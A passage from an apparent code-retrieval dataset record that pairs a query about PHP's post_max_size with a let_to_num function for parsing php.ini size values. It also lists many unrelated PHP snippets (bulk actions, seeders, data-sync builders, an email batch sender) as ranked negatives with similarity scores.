$b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_TRANSOUT\")->name(\"业务-库存调出\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_MOCOMPLETE\")->name(\"业务-生产完工\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_MOISSUE\")->name(\"业务-生产领料\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_RCV\")->name(\"业务-采购收货\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_RCVRTN\")->name(\"业务-采购退货\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_SHIP\")->name(\"业务-销售出货\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_SHIPRTN\")->name(\"业务-销售退货\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_AP_APBILL\")->name(\"业务-应付\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_ER_EXPENSEPLAN\")->name(\"业务-费用预算\")\n\t\t\t\t->local('api/amiba/doc-bizs/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\n\t\t//财务数据\n\t\tModels\\Dti::build(function (Builder $b) {\n\t\t\t$b->ent_id($this->entId)->category('u9')->code(\"P_ISV_TRANSDATA_TRADE_GL_VOUCHER\")->name(\"财务-凭证\")\n\t\t\t\t->local('api/amiba/doc-fis/batch'); $b->body('{\"FromDate\":\"#{fm_date}#\",\"toDate\":\"#{to_date}#\"}');\n\t\t});\n\t}",
"private function processing_batch()\n\t{\n\t\t// load the sync db\n\t\tee()->sync_db = ee()->load->database('sync_db', true);\n\n\t\t// find the most recent unprocessed shipments\n\t\t$query = ee()->sync_db->where('processed !=', '1')->order_by('id', 'asc')->get('orders_processed', 50);\n\n\t\t// create arrays for shipment ids and tracking numbers\n\t\t$ids_processed = array();\n\n\t\t// find our shipped status\n\t\t$status = Store\\Model\\Status::where('name', 'Processing')->first();\n\n\t\t// loop through each shipment\n\t\tforeach($query->result() as $processed)\n\t\t{\n\t\t\t// update the status of each order with the tracking numbers\n\t\t\t$order_object = Store\\Model\\Order::find($processed->order_id);\n\t\t\tif(!empty($order_object))\n\t\t\t{\n\t\t\t\t$order_object->updateStatus($status, 0, '');\n\t\t\t\t// add id to the processed array\n\t\t\t\t$ids_processed[] = $processed->id;\n\t\t\t}\n\t\t}\n\n\t\t// update the shipment records to indicate they've been processed\n\t\tif(count($ids_processed) > 0)\n\t\t{\n\t\t\tee()->sync_db->where_in('id', $ids_processed)->set('processed', 1)->update('orders_processed');\n\t\t}\t\n\t\t\n\t}",
"protected function execute()\n {\n // Clean the utilistion index.\n DUtilisationRecord::cleanDatabase();\n // Determine objects that are searchable.\n $models = DModel::search()\n ->removeDefaultFilters();\n // Track progress of task execution.\n $totalObjects = $models->getCount();\n $currentObject = 0;\n foreach ($models as $model) {\n /* @var $model DModel */\n try {\n $event = new DOnSave();\n $event->setFieldValue('dispatcher', $model);\n DUtilisationRecord::index($event);\n $model->free();\n // Catch and report any exception to allow processing to continue.\n } catch (Exception $exception) {\n DErrorHandler::logException($exception);\n }\n // Update progress of task execution.\n ++$currentObject;\n $this->updateProgress($currentObject, $totalObjects);\n }\n }",
"public function doMultiAction( array $a = array() ){\r\n\t\t$limit = count($a['contentIds']);\r\n\t\t$this->sSql = \"UPDATE `pack_mstr` SET `status`='\".(int)$a['contentActionValue'].\"' WHERE status!='-1' AND pack_id IN(\".implode(',', $a['contentIds']).\") LIMIT $limit\";\r\n\t\t$res = $this->oMysqli->query( $this->sSql );\r\n\t}",
"function issueUnprocessedActionLogItems() {\n\t\t$actionLogItems = $this->repository->getUnprocessedActionLogItems();\n\t\tforeach ($actionLogItems as $actionLogItem) {\n\t\t\t$this->issueBadges($actionLogItem);\n\t\t}\n\t\t\n\t}",
"protected function performActionList()\n\t{\n\t\t// copy order\n\t\t$this->performActionCopyOrder();\n\n\t\t// some other ...\n\t}",
"public function run()\n {\n $user = User::get();\n $action_templates = ActionTemplate::get();\n $now = Carbon::now();\n\n $param = [\n [\n 'user_id' => $user[0]->id,\n 'action_template_id' => $action_templates[0]->id,\n 'created_at' => $now,\n 'updated_at' => $now\n ],\n [\n 'user_id' => $user[0]->id,\n 'action_template_id' => $action_templates[1]->id,\n 'created_at' => $now,\n 'updated_at' => $now\n ],\n [\n 'user_id' => $user[0]->id,\n 'action_template_id' => $action_templates[2]->id,\n 'created_at' => $now,\n 'updated_at' => $now\n ],\n ];\n\n DB::table('users_actions')->insert($param);\n }",
"public function process_bulk_action() {\n\t\tif ( 'delete' === $this->current_action() ) {\n\n\t\t\t// In our file that handles the request, verify the nonce.\n\t\t\t$nonce = esc_attr( $_REQUEST['_wpnonce'] );\n\n\t\t\tif ( ! wp_verify_nonce( $nonce, 'sp_delete_post' ) ) {\n\t\t\t\tdie( 'Go get a life script kiddies' );\n\t\t\t}\n\t\t\telse {\n\t\t\t\tif ($_GET['post']) {\n\t\t\t\t\tself::delete_post( absint( $_GET['post'] ) );\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\n\t\t// If the delete bulk action is triggered\n\t\tif ( isset($_POST['bulk-delete']) && ( isset( $_POST['action'] ) && $_POST['action'] == 'bulk-delete' )\n\t\t || ( isset( $_POST['action2'] ) && $_POST['action2'] == 'bulk-delete' )\n\t\t) {\n\t\t\t$delete_ids = esc_sql( $_POST['bulk-delete'] );\n\n\t\t\t// loop over the array of record IDs and delete them\n\t\t\tforeach ( $delete_ids as $id ) {\n\t\t\t\tself::delete_post( $id );\n\n\t\t\t}\n\t\t}\n\t}",
"public function run()\n {\n $users = User::all();\n foreach ($users as $user) {\n if ($user->id === 1) continue;\n $user->attractions()->attach(Attraction::inRandomOrder()->limit(3)->get());\n }\n }",
"public function process_batch_action()\n\t{\n\t\t$action = $this->current_action();\n\t\t$items = ( isset($_REQUEST['item']) ? $_REQUEST['item'] : array() );\n\t\t\n\t\tswitch( $action )\n\t\t{\n\t\t\tcase 'remove-items':\n\t\t\t\tforeach( $items as $item_id )\n\t\t\t\t\t$this->model->upload->delete_item( $item_id );\n\t\t\t\tbreak;\n\t\t\t\n\t\t\tcase 'process-items':\n\t\t\t\tforeach( $items as $item_id )\n\t\t\t\t{\n\t\t\t\t\t$result = $this->model->upload->process_item( $item_id );\n\t\t\t\t\tif( !$result )\n\t\t\t\t\t\t$this->parent->add_error( $this->model->last_error );\n\t\t\t\t}\n\t\t\t\t$this->parent->add_notice( 'Processed '.count($items).' items.' );\n\t\t\t\tbreak;\n\t\t\t\t\n\t\t\tdefault:\n\t\t\t\treturn false;\n\t\t\t\tbreak;\n\t\t}\n\t\t\n\t\treturn true;\n\t}",
"function handle_multiple_actions()\r\n{\r\n\tglobal $_user, $is_courseAdmin, $is_courseTutor;\r\n\r\n\t// STEP 1: are we performing the actions on the received or on the sent files?\r\n\tif($_POST['action']=='delete_received' || $_POST['action']=='download_received')\r\n\t{\r\n\t\t$part = 'received';\r\n\t}\r\n\telseif($_POST['action']=='delete_sent' || $_POST['action']=='download_sent')\r\n\t{\r\n\t\t$part = 'sent';\r\n\t}\r\n\r\n\t// STEP 2: at least one file has to be selected. If not we return an error message\r\n\tforeach ($_POST as $key=>$value)\r\n\t{\r\n\t\tif (strstr($value,$part.'_') AND $key!='view_received_category' AND $key!='view_sent_category')\r\n\t\t{\r\n\t\t\t$checked_files=true;\r\n\t\t\t$checked_file_ids[]=intval(substr($value,strrpos($value,'_')));\r\n\t\t}\r\n\t}\r\n\t$checked_file_ids = $_POST['id'];\r\n\r\n\tif (!is_array($checked_file_ids) || count($checked_file_ids)==0)\r\n\t{\r\n\t\treturn get_lang('CheckAtLeastOneFile');\r\n\t}\r\n\r\n\r\n\t// STEP 3A: deleting\r\n\tif ($_POST['action']=='delete_received' || $_POST['action']=='delete_sent')\r\n\t{\r\n\t\t$dropboxfile=new Dropbox_Person( $_user['user_id'], $is_courseAdmin, $is_courseTutor);\r\n\t\tforeach ($checked_file_ids as $key=>$value)\r\n\t\t{\r\n\t\t\tif ($_GET['view']=='received' OR !$_GET['view'])\r\n\t\t\t{\r\n\t\t\t\t$dropboxfile->deleteReceivedWork($value);\r\n\t\t\t\t$message=get_lang('ReceivedFileDeleted');\r\n\t\t\t}\r\n\t\t\tif ($_GET['view']=='sent')\r\n\t\t\t{\r\n\t\t\t\t$dropboxfile->deleteSentWork($value);\r\n\t\t\t\t$message=get_lang('SentFileDeleted');\r\n\t\t\t}\r\n\t\t}\r\n\t\treturn $message;\r\n\t}\r\n\r\n\t// STEP 3B: giving comment\r\n\tif ($_POST['actions']=='comment')\r\n\t{\r\n\t\t// This has not been implemented.\r\n\t\t// The idea was that it would be possible to write the same feedback for the selected documents.\r\n\t}\r\n\r\n\t// STEP 3C: moving\r\n\tif (strstr($_POST['actions'], 'move_'))\r\n\t{\r\n\t\t$target=str_replace('move_', '',$_POST['actions']);\r\n\r\n\t\tforeach ($checked_file_ids as $key=>$value)\r\n\t\t{\r\n\t\t\tstore_move($value, $target, $part);\r\n\t\t}\r\n\t\treturn get_lang('FilesMoved');\r\n\t}\r\n\r\n\t// STEP 3D: downloading\r\n\tif ($_POST['action']=='download_sent' || $_POST['action']=='download_received')\r\n\t{\r\n\t\tzip_download($checked_file_ids);\r\n\t}\r\n\r\n}",
"public function run() {\n\n $entities = Entity::all();\n\n Transaction::factory()->count(60)->make()->each(function ($transaction) use ($entities) {\n $entity = $entities->random();\n $entity->transactions()->save($transaction);\n });\n }",
"function process_bulk_action() {\r\n if( 'apporve'===$this->current_action() ) {\r\n wp_die('Items deleted (or they would be if we had items to delete)!');\r\n }\r\n elseif( 'reject'===$this->current_action() ) {\r\n wp_die('Items deleted (or they would be if we had items to delete)!');\r\n }\r\n \r\n }",
"public function admin_table_bulk_actions($actions)\n {\n }",
"public function flushAll();",
"public function bulk(array $batch): array\n {\n $params['batch'] = $batch;\n return $this->client->post(\"transferrecipient/bulk\", $params);\n }",
"public function updateBatch(array $attributes, $id);",
"public function run()\n {\n $app_1_attraction = factory(\\App\\Models\\Attraction::class, 5)->create(\n [\n 'app_id' => 1\n ]\n );\n\n foreach ($app_1_attraction as $attraction) {\n $general_info = factory(\\App\\Models\\GeneralInfo::class)->create();\n $attraction->generalInformation()->save($general_info);\n $workingHours = factory(\\App\\Models\\WorkingHours::class)->create();\n $attraction->workingHours()->save($workingHours);\n $review = factory(\\App\\Models\\Review::class)->create();\n $attraction->reviews()->save($review);\n }\n\n $app_2_attraction = factory(\\App\\Models\\Attraction::class, 5)->create(\n [\n 'app_id' => 2\n ]\n );\n\n foreach ($app_2_attraction as $attraction) {\n $general_info = factory(\\App\\Models\\GeneralInfo::class)->create();\n $attraction->generalInformation()->save($general_info);\n $workingHours = factory(\\App\\Models\\WorkingHours::class)->create();\n $attraction->workingHours()->save($workingHours);\n $review = factory(\\App\\Models\\Review::class)->create();\n $attraction->reviews()->save($review);\n }\n }",
"public function run() {\n\t\tforeach ( $this->filters as $hook ) {\n\t\t\tadd_filter( $hook['hook'], [\n\t\t\t\t$hook['component'],\n\t\t\t\t$hook['callback']\n\t\t\t], $hook['priority'], $hook['acc_args'] );\n\t\t}\n\t\tforeach ( $this->actions as $hook ) {\n\t\t\tadd_action( $hook['hook'], [\n\t\t\t\t$hook['component'],\n\t\t\t\t$hook['callback']\n\t\t\t], $hook['priority'], $hook['acc_args'] );\n\t\t}\n\t}",
"private function do_action() {\n\t\tglobal $wpdb;\n\t\t$sendback = remove_query_arg( array( 'intrusions' ), wp_get_referer() );\n\n\t\t// Handle bulk actions\n\t\tif ( isset( $_GET['doaction'] ) || isset( $_GET['doaction2'] ) ) {\n\t\t\tcheck_admin_referer( 'mscr_action_intrusions_bulk' );\n\n\t\t\tif ( ( $_GET['action'] != '' || $_GET['action2'] != '' ) && ( isset( $_GET['page'] ) && isset( $_GET['intrusions'] ) ) ) {\n\t\t\t\t$intrusion_ids = $_GET['intrusions'];\n\t\t\t\t$doaction = ( $_GET['action'] != '' ) ? $_GET['action'] : $_GET['action2'];\n\t\t\t} else {\n\t\t\t\twp_redirect( admin_url( 'index.php?page=mscr_intrusions' ) );\n\t\t\t\texit;\n\t\t\t}\n\n\t\t\tswitch ( $doaction ) {\n\t\t\t\tcase 'bulk_delete':\n\t\t\t\t\t$deleted = 0;\n\t\t\t\t\tforeach ( (array) $intrusion_ids as $intrusion_id ) {\n\t\t\t\t\t\tif ( ! current_user_can( 'activate_plugins' ) )\n\t\t\t\t\t\t\twp_die( __( 'You are not allowed to delete this item.', 'mute-screamer' ) );\n\n\t\t\t\t\t\t$sql = $wpdb->prepare( 'DELETE FROM ' . $wpdb->mscr_intrusions . ' WHERE id = %d', $intrusion_id );\n\t\t\t\t\t\t$result = $wpdb->query( $sql );\n\n\t\t\t\t\t\tif ( ! $result ) {\n\t\t\t\t\t\t\twp_die( __( 'Error in deleting...', 'mute-screamer' ) );\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$deleted++;\n\t\t\t\t\t}\n\t\t\t\t\t$sendback = add_query_arg( 'deleted', $deleted, $sendback );\n\t\t\t\t\tbreak;\n\n\t\t\t\tcase 'bulk_exclude':\n\t\t\t\t\t$excluded = 0;\n\t\t\t\t\tforeach ( (array) $intrusion_ids as $intrusion_id ) {\n\t\t\t\t\t\tif ( ! current_user_can( 'activate_plugins' ) ) {\n\t\t\t\t\t\t\twp_die( __( 'You are not allowed to exclude this item.', 'mute-screamer' ) );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Get the intrusion field to exclude\n\t\t\t\t\t\t$sql = $wpdb->prepare( \"SELECT name FROM {$wpdb->mscr_intrusions} WHERE id = %d\", $intrusion_id );\n\t\t\t\t\t\t$result = $wpdb->get_row( $sql );\n\n\t\t\t\t\t\tif ( ! $result ) {\n\t\t\t\t\t\t\twp_die( __( 'Error in excluding...', 'mute-screamer' ) );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$mscr = Mute_Screamer::instance();\n\t\t\t\t\t\t$exceptions = $mscr->get_option( 'exception_fields' );\n\n\t\t\t\t\t\t// Only add the field once\n\t\t\t\t\t\tif ( ! in_array( $result->name, $exceptions ) ) {\n\t\t\t\t\t\t\t$exceptions[] = $result->name;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t$mscr->set_option( 'exception_fields', $exceptions );\n\t\t\t\t\t\t$excluded++;\n\t\t\t\t\t}\n\t\t\t\t\t$sendback = add_query_arg( 'excluded', $excluded, $sendback );\n\t\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tif ( isset( $_GET['action'] ) ) {\n\t\t\t\t$sendback = remove_query_arg( array( 'action', 'action2', 'intrusions' ), $sendback );\n\t\t\t}\n\n\t\t\twp_redirect( $sendback );\n\t\t\texit;\n\t\t} else if ( ! empty( $_GET['_wp_http_referer'] ) ) {\n\t\t\twp_redirect( remove_query_arg( array( '_wp_http_referer', '_wpnonce' ), stripslashes( $_SERVER['REQUEST_URI'] ) ) );\n\t\t\texit;\n\t\t}\n\n\t\t// Handle other actions\n\t\t$action = MSCR_Utils::get( 'action' );\n\t\t$id = (int) MSCR_Utils::get( 'intrusion' );\n\n\t\tif ( ! $action )\n\t\t\treturn;\n\n\t\tswitch ( $action ) {\n\t\t\tcase 'exclude':\n\t\t\t\tcheck_admin_referer( 'mscr_action_exclude_intrusion' );\n\t\t\t\tif ( ! current_user_can( 'activate_plugins' ) )\n\t\t\t\t\twp_die( __( 'You are not allowed to exclude this item.', 'mute-screamer' ) );\n\n\t\t\t\t// Get the intrusion field to exclude\n\t\t\t\t$sql = $wpdb->prepare( \"SELECT name FROM {$wpdb->mscr_intrusions} WHERE id = %d\", $id );\n\t\t\t\t$result = $wpdb->get_row( $sql );\n\n\t\t\t\tif ( ! $result ) {\n\t\t\t\t\twp_die( __( 'Error in excluding...', 'mute-screamer' ) );\n\t\t\t\t}\n\n\t\t\t\t$mscr = Mute_Screamer::instance();\n\t\t\t\t$exceptions = $mscr->get_option( 'exception_fields' );\n\n\t\t\t\t// Only add the field once\n\t\t\t\tif ( ! in_array( $result->name, $exceptions ) ) {\n\t\t\t\t\t$exceptions[] = $result->name;\n\t\t\t\t}\n\n\t\t\t\t$mscr->set_option( 'exception_fields', $exceptions );\n\t\t\t\t$sendback = add_query_arg( 'excluded', $id, $sendback );\n\t\t\t\tbreak;\n\n\t\t\tcase 'delete':\n\t\t\t\tcheck_admin_referer( 'mscr_action_delete_intrusion' );\n\t\t\t\tif ( ! current_user_can( 'activate_plugins' ) )\n\t\t\t\t\twp_die( __( 'You are not allowed to delete this item.', 'mute-screamer' ) );\n\n\t\t\t\t$sql = $wpdb->prepare( 'DELETE FROM ' . $wpdb->mscr_intrusions . ' WHERE id = %d', $id );\n\t\t\t\t$result = $wpdb->query( $sql );\n\n\t\t\t\tif ( ! $result ) {\n\t\t\t\t\twp_die( __( 'Error in deleting...', 'mute-screamer' ) );\n\t\t\t\t}\n\n\t\t\t\t$sendback = add_query_arg( 'deleted', 1, $sendback );\n\t\t\t\tbreak;\n\t\t}\n\n\t\twp_redirect( $sendback );\n\t\texit;\n\t}",
"public function process(): void\n\t{\n\t\tforeach ($this->getActions() as $action) {\n\t\t\t$class = \"App\\\\Mail\\\\ScannerAction\\\\{$action}\";\n\t\t\t(new $class($this))->process();\n\t\t}\n\t}",
"public function massDeleteAction()\n {\n $ifeedbackIds = $this->getRequest()->getParam('ifeedback');\n if (!is_array($ifeedbackIds)) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('Please select instructor feedbacks to delete.')\n );\n } else {\n try {\n foreach ($ifeedbackIds as $ifeedbackId) {\n $ifeedback = Mage::getModel('bs_kst/ifeedback');\n $ifeedback->setId($ifeedbackId)->delete();\n }\n Mage::getSingleton('adminhtml/session')->addSuccess(\n Mage::helper('bs_kst')->__('Total of %d instructor feedbacks were successfully deleted.', count($ifeedbackIds))\n );\n } catch (Mage_Core_Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError($e->getMessage());\n } catch (Exception $e) {\n Mage::getSingleton('adminhtml/session')->addError(\n Mage::helper('bs_kst')->__('There was an error deleting instructor feedbacks.')\n );\n Mage::logException($e);\n }\n }\n $this->_redirect('*/*/index');\n }",
"public function processAll();",
"public function actionPacketDtlMaking()\n {\n $Packet_record = JobPackets::find()->where('PostsStatus = 0')->limit(5)->all();\n\n if (!empty($Packet_record)) {\n\n foreach ($Packet_record as $value) {\n\n $packetID = $value->ID;\n\n\n $contact_record = ContactNumberList::find()->where('Assigned = \"N\"')->limit(15)->all();\n\n// echo \"<pre>\";\n// print_r($contact_record);\n// exit();\n\n if (!empty($contact_record)) {\n\n foreach ($contact_record as $value) {\n\n $contactID = $value->ID;\n $contactNo = $value->ContactNumber;\n $contactNotes = $value->ContactNotes;\n $date = date('Y-m-d H:i:s');\n\n $model = new JobPacketDtl();\n $model->PacketID = $packetID;\n $model->ContactID = $contactID;\n $model->ContactNumber = $contactNo;\n $model->ContactNotes = $contactNotes;\n $model->EnteredBy = 2;\n $model->EnteredOn = $date;\n $model->BranchID = 2;\n if ($model->save()) {\n $sqL = 'update contact_number_list set Assigned = \"Y\" where ID = ' . $contactID;\n Yii::$app->contact_db->createCommand($sqL)->execute();\n //return $this->redirect(['index']);\n } else {\n print_r($model->getErrors());\n exit();\n }\n }\n }\n $sql = 'update job_packets set PostsStatus = 1 where ID = '.$packetID;\n Yii::$app->contact_db->createCommand($sql)->execute();\n }\n\n }\n\n\n\n\n exit();\n\n }",
"public function run()\n {\n $data = [\n 'product_order_detail_id' => 1,\n 'product_order_id' => 1,\n 'product_id' => 1,\n 'user_id' => 1,\n 'content' => '随便评论了下',\n 'grade' => 5,\n ];\n\n for ($i = 0; $i < 3; $i++) {\n $data['grade'] -= $i;\n \\App\\Models\\ProductComment::query()->create($data);\n }\n }",
"public function sendBatchEmail($peeps, $unsubtype, $SUBJECT, $TEXT, $context, \r\n // $FROM = array('[email protected]' => \"Conejo Valley UU Fellowship\"), $REPLYTO = null, $ATTACHMENT = null) \r\n $FROM = array('[email protected]' => \"Conejo Valley UU Fellowship\"), $REPLYTO = null, $ATTACHMENT = null) \r\n {\r\n // $FROM = array('[email protected]' => \"Conejo Valley UU Fellowship\");\r\n $FROM = array('[email protected]' => '[email protected]');\r\n $efunctions = new Cvuuf_emailfunctions();\r\n $peoplemap = new Application_Model_PeopleMapper();\r\n $unsmap = new Application_Model_UnsubMapper();\r\n\r\n $results = array();\r\n $orwhere = array(\r\n array('`all`', ' = ', 1),\r\n array($unsubtype, ' = ', 1),\r\n );\r\n $unsubs = $unsmap->fetchOrWhere($orwhere);\r\n $unsubids = array();\r\n foreach ($unsubs as $unsub)\r\n {\r\n $person = $peoplemap->find($unsub->id);\r\n if ($person['email'] <> '')\r\n $unsubids[$person['email']] = 1;\r\n }\r\n\r\n $emailCount = count($peeps); \r\n $results[] = \"$emailCount copies to be sent.\";\r\n \t\t$count = 0;\r\n \t\t$fullcount = 0;\r\n\r\n $totalsent = 0;\r\n $invalid = array();\r\n $unsub = array();\r\n if ($emailCount >= 30) {\r\n return array('results' => $results.\" (rejected to avoid spam blacklists, 30-email max. Contact [email protected] to work out how to send this)\", 'log' => 'rejected to avoid spam blacklists', 'totalsent' => $totalsent, \r\n 'invalid' => $invalid, 'unsub' => $unsub);\r\n }\r\n unset($TO_array);\r\n \t\tforeach ($peeps as $peep) \r\n {\r\n \t $emailAddress = $peep->email;\r\n \t if (!$efunctions->isValidEmail($emailAddress))\r\n { \r\n $invalid[] = $emailAddress;\r\n }\r\n elseif (isset($unsubids[$emailAddress]))\r\n {\r\n $unsub[] = $emailAddress;\r\n } \r\n else \r\n {\r\n $fullcount++;\r\n $TO_array[$count++] = $emailAddress;\r\n \t\t\tif (($count%20) == 0) \r\n {\r\n $numsent = $efunctions->sendEmail($SUBJECT, $TO_array, $TEXT, $context, $FROM, $REPLYTO, $ATTACHMENT);\r\n $totalsent += $numsent;\r\n unset($TO_array);\r\n $count = 0;\r\n sleep(1);\r\n \t\t }\r\n // Check section limit and delay if reached\r\n if (($fullcount % 10) == 0)\r\n {\r\n $results[] = \"Progress count $fullcount sent\"; \r\n sleep(5);\r\n }\r\n \t}\r\n } \r\n // send last email segment\r\n $numsent = $efunctions->sendEmail($SUBJECT, $TO_array, $TEXT, $context, $FROM, $REPLYTO, $ATTACHMENT);\r\n $totalsent += $numsent;\r\n $results[] = sprintf(\"Ending fraction count %d copies\\n\", $numsent);\r\n $log = $efunctions->log_email($context, $emailCount, $totalsent, count($invalid), count($unsub));\r\n $results[] = \"Last Segment sent\";\r\n\r\n return array('results' => $results, 'log' => $log, 'totalsent' => $totalsent, \r\n 'invalid' => $invalid, 'unsub' => $unsub);\r\n }"
] | [
"0.59590316",
"0.5896838",
"0.5761667",
"0.5751299",
"0.5662159",
"0.5653722",
"0.56169313",
"0.56157",
"0.55932915",
"0.5557632",
"0.5553145",
"0.555233",
"0.5468561",
"0.54455024",
"0.5437353",
"0.5381964",
"0.5341553",
"0.53305084",
"0.53233874",
"0.5319066",
"0.531134",
"0.5310566",
"0.52806664",
"0.52806664",
"0.5268524",
"0.52545977",
"0.5235533",
"0.5227792",
"0.5222045",
"0.52103335",
"0.5190381",
"0.51881236",
"0.5182661",
"0.5176487",
"0.51671183",
"0.51570517",
"0.51484966",
"0.5141087",
"0.51358604",
"0.51257825",
"0.51232177",
"0.5117107",
"0.5110276",
"0.5105498",
"0.51044655",
"0.5100399",
"0.50854355",
"0.50839883",
"0.50812304",
"0.5077009",
"0.50738245",
"0.5072727",
"0.5064461",
"0.5051884",
"0.5047295",
"0.5041541",
"0.5017803",
"0.50171536",
"0.501714",
"0.5012457",
"0.5004855",
"0.49833792",
"0.49832502",
"0.497645",
"0.49650013",
"0.49647772",
"0.49567574",
"0.49560633",
"0.49507558",
"0.49477327",
"0.49467894",
"0.4941548",
"0.49345922",
"0.49329692",
"0.4928339",
"0.49280342",
"0.4927257",
"0.49249357",
"0.4922723",
"0.4915733",
"0.4914325",
"0.49101618",
"0.4906672",
"0.49016914",
"0.48990932",
"0.4889374",
"0.4855327",
"0.48545",
"0.48523208",
"0.48492944",
"0.48431715",
"0.4841126",
"0.48322234",
"0.4831714",
"0.4818482",
"0.48142767",
"0.4814264",
"0.480817",
"0.4807425",
"0.47939518"
] | 0.54193527 | 15 |
character between every group of thousands Check post_max_size ( | function let_to_num($v){ //This function transforms the php.ini notation for numbers (like '2M') to an integer (2*1024*1024 in this case)
$l = substr($v, -1);
$ret = substr($v, 0, -1);
switch(strtoupper($l)){
case 'P': $ret *= 1024;
case 'T': $ret *= 1024;
case 'G': $ret *= 1024;
case 'M': $ret *= 1024;
case 'K': $ret *= 1024;
break;
}
return $ret;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function TextMax()\n\t{\n\t\treturn 1000000000; // should be 1 Gb?\n\t}",
"function CharMax()\n\t{\n\t\treturn 1000000000; // should be 1 Gb?\n\t}",
"function getUploadMaxValue(){\n return str_replace('M', '', getUploadMax()) * 1024;\n }",
"function math_get_post_max_size()\n\t{\n\t\t$max_file_size = 16777216;\n\t\t$tmp = 0;\n\t\t\n\t\t$_post = @ini_get('post_max_size');\n\t\t$_upload = @ini_get('upload_max_filesize');\n\t\t\n\t\tif ( $_upload > $_post )\n\t\t{\n\t\t\t$tmp = $_post;\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$tmp = $_upload;\n\t\t}\n\t\t\n\t\tif ( $tmp )\n\t\t{\n\t\t\t$max_file_size = $tmp;\n\t\t\tunset($tmp);\n\t\t\t\n\t\t\tpreg_match( \"#^(\\d+)(\\w+)$#\", strtolower($max_file_size), $match );\n\t\t\t\n\t\t\tif ( $match[2] == 'm' )\n\t\t\t{\n\t\t\t\t$max_file_size = intval( $max_file_size ) * 1024 * 1024;\n\t\t\t}\n\t\t\telse if ( $match[2] == 'k' )\n\t\t\t{\n\t\t\t\t$max_file_size = intval( $max_file_size ) * 1024;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$max_file_size = intval( $max_file_size );\n\t\t\t}\n\t\t}\n\n\t\treturn $max_file_size;\n\t}",
"function megastokas($num){\r\n\t\treturn $num*1024;\r\n\t}",
"function checkCharacterLimit( $x )\n\t{\n\t\tif( !empty( $x ) && strlen($x) <= 50 )\n\t\t\treturn 1;\n\t\telse\n\t\t\treturn 0;\n\t}",
"function magillDev_custom_post($length)\n{\n\treturn 40;\n}",
"function testFormatSize() {\n\t\t$this->assertEquals(\"1000 bytes\", File::format_size(1000));\n\t\t$this->assertEquals(\"1023 bytes\", File::format_size(1023));\n\t\t$this->assertEquals(\"1 KB\", File::format_size(1025));\n\t\t$this->assertEquals(\"9.8 KB\", File::format_size(10000));\n\t\t$this->assertEquals(\"49 KB\", File::format_size(50000));\n\t\t$this->assertEquals(\"977 KB\", File::format_size(1000000));\n\t\t$this->assertEquals(\"1 MB\", File::format_size(1024*1024));\n\t\t$this->assertEquals(\"954 MB\", File::format_size(1000000000));\n\t\t$this->assertEquals(\"1 GB\", File::format_size(1024*1024*1024));\n\t\t$this->assertEquals(\"9.3 GB\", File::format_size(10000000000));\n\t\t// It use any denomination higher than GB. It also doesn't overflow with >32 bit integers\n\t\t$this->assertEquals(\"93132.3 GB\", File::format_size(100000000000000));\n\t}",
